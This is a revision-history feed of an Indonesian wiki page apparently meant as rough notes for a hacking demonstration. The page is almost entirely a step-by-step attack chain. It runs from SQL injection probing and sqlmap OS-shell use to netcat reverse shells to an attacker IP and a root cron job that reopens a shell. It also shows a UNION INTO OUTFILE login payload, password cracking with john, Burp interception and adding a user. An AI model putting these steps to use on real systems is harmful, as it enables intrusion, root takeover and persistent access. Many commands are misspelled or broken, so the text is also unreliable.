https://lms.onnocenter.or.id/wiki/index.php?action=history&feed=atom&title=Hacking%3A_Orek-Orekan_Demo_Hacking
Hacking: Orek-Orekan Demo Hacking - Revision history
2026-04-19T18:05:52Z
Revision history for this page on the wiki
MediaWiki 1.45.1
https://lms.onnocenter.or.id/wiki/index.php?title=Hacking:_Orek-Orekan_Demo_Hacking&diff=38731&oldid=prev
Onnowpurbo: New page: netdiscover SQL Injection - GET - HOST GET index.php?id=1' kalau ada ERROR ada celah HOST username admin password " ERROR ada celah SQL injection Attack sqlmap -u "url-yangadaerror" --...
2013-11-16T02:57:35Z
<p>New page: netdiscover SQL Injection - GET - HOST GET index.php?id=1' kalau ada ERROR ada celah HOST username admin password " ERROR ada celah SQL injection Attack sqlmap -u "url-yangadaerror" --...</p>
<p><b>New page</b></p><div>netdiscover<br />
<br />
SQL Injection<br />
- GET<br />
- HOST<br />
<br />
GET<br />
index.php?id=1'<br />
kalau ada ERROR ada celah<br />
<br />
HOST<br />
username admin<br />
password "<br />
ERROR ada celah SQL injection<br />
<br />
Attack<br />
sqlmap -u "url-yangadaerror" --data="POSTDATA=diambildaritemperdata" --batch -v 3 -level=6 --risk=5<br />
sqlmap -u "url-yangadaerror" --data="POSTDATA=diambildaritemperdata" --batch -v 0 lakukanremoteshell<br />
<br />
OS-shell> id, ls<br />
<br />
OS=shell> whereis mc<br />
OS-shell> /bin/nc.traditional ipattacker 9999 =e /bin/sh<br />
<br />
di komuter attacker<br />
nc -lvvp 9999<br />
<br />
<br />
dapat session <br />
id <br />
<br />
<br />
pyhton -c 'impprt pty;pty.spwwan("/bin/bash/")'<br />
<br />
exploit<br />
<br />
./john<br />
<br />
<br />
pakai burpsuite port 8080 di localhost<br />
intercept off<br />
<br />
authentikasi ulang dengan password yang salah<br />
<br />
burpsuite dapat cookies & session<br />
200 normal<br />
300 direct<br />
400 error / forbidden<br />
i<br />
<br />
* * * * * root /bin/nc.traditional ipattacker 5555 -e /bin/sh --- ini utk memerinatahkan root exekusi nc<br />
<br />
nmap localhost --- check apakah port sudah di buka<br />
<br />
<br />
pakai burpsuite pakai Decoder >EDivafe AS ASCII HEX<br />
copy ASCII HEX masukan ke <br />
<br />
<br />
pakai burpsuite pakai repeater<br />
myusername=admin &mypassword=" 1=1 union elect 0x20,0x20 INTO OUTFILE * * * * * rootdst --&Submit=Login<br />
<br />
check id di OS Shell nc id dapat password root<br />
<br />
<br />
useradd domas<br />
adduser<br />
passwd</div>
Onnowpurbo